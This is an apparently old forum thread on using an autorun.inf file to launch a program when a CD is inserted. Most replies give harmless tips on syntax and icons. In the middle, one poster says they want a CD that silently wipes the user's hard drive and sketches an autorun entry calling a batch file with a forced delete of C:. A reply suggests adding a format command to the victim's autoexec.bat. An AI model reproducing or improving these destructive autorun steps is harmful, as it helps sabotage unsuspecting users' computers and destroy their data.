Re: Auto Execute

For application to be executed automatically after inserting the CD you must create autorun.inf file in the root of CD.
Then include the following lines :

[autorun]
OPEN=something.EXE /AUTORUN

Standard approach, so I'm not sure it would work for non-executable files  

Good luck
Chef

[Keefe]

Where did the original post go?

Must be a weird bug

[Uranium-235]

you can also use an icon=file.ico parameter in there

[Omega]

I want to make a CD that will auto-exec a command to erase the user's entire hard drive. I'd assume you could do it using a batch file with something simple like

[autorun]
OPEN=file.bat

and then in the batch file have something like

del c:\*.* /f /q

Might not work exactly like that, but I'd have to assume there'd be some fairly easy way to do it.

erm, you can't erase some1s hdd with a batch file on a cd... windows wont allow it...

one thing you could do is edit their autoexec.bat and put the format command in there.. then restart the computer

[vee_ess]

yeah, you can use non-executable files, like .htm(l) and other recognized files. i always put an autorun file on my cd's which usually is popping up the contents of the cd. you can also use setup as the name instead of autorun. i cannot usually find good icons so i just use generic ones by searching my harddrive for em